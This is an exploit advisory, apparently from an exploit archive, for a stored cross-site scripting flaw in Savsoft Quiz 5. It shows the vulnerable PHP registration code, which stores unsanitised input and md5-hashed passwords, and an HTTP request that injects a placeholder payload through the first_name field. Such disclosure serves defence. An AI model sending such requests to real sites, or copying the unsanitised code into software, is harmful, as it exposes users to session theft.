Savsoft Quiz 5 - Persistent Cross-Site Scripting Vulnerability

# Exploit Title: Savsoft Quiz 5 - Persistent Cross-Site Scripting
# Exploit Author: Ogulcan Unveren(th3d1gger)
# Vendor Homepage:  https://savsoftquiz.com/
# Software Link:  https://github.com/savsofts/savsoftquiz_v5.git
# Version: 5.0
# Tested on: Kali Linux
 
---Vulnerable Source Code----
  function insert_user_2(){
 
                $userdata=array(
                'email'=>$this->input->post('email'),
                'password'=>md5($this->input->post('password')),
                'first_name'=>$this->input->post('first_name'),
                'last_name'=>$this->input->post('last_name'),
                'contact_no'=>$this->input->post('contact_no'),
                'gid'=>implode(',',$this->input->post('gid')),
                'su'=>'2'
                );
                $veri_code=rand('1111','9999');
                 if($this->config->item('verify_email')){
                        $userdata['verify_code']=$veri_code;
                 }
                                if($this->session->userdata('logged_in_raw')){
                                        $userraw=$this->session->userdata('logged_in_raw');
                                        $userraw_uid=$userraw['uid'];
                                        $this->db->where('uid',$userraw_uid);
                                $rresult=$this->db->update('savsoft_users',$userdata);
                                if($this->session->userdata('logged_in_raw')){
                                $this->session->unset_userdata('logged_in_raw');
                                }
                                }else{
 
                $rresult=$this->db->insert('savsoft_users',$userdata);
                $uid=$this->db->insert_id();
                foreach($_POST['custom'] as $ck => $cv){
                        if($cv != ''){
                $savsoft_users_custom=array(
                'field_id'=>$ck,
                'uid'=>$uid,
                'field_values'=>$cv
                );
                $this->db->insert('savsoft_users_custom',$savsoft_users_custom);
                        }
                }
 
 
 
 
----Vulnerable Request---
POST /index.php/login/insert_user/ HTTP/1.1
Host: savsoftquiz_v5
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.2/index.php/login/registration/
Content-Type: application/x-www-form-urlencoded
Content-Length: 231
Connection: close
Cookie: ci_session=0lhlr1iv1qgru1u1kmg42lbvj8mprokv
Upgrade-Insecure-Requests: 1
 
email=hello%40gmail.com&password=password&first_name=XSSPAYLOAD&last_name=test&contact_no=05785555555&gid%5B%5D=1
 
#  0day.today [2020-07-10]  #